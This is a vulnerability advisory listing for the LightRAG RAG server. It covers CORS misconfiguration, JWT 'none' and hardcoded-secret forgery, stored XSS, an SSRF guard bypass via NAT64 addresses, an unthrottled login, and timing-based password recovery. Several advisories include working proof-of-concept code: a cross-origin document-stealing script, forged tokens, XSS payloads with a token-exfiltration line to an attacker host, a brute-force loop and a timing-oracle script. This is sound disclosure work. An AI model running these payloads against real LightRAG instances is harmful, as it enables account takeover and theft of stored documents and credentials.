            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 13, 2026

1.4.10 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


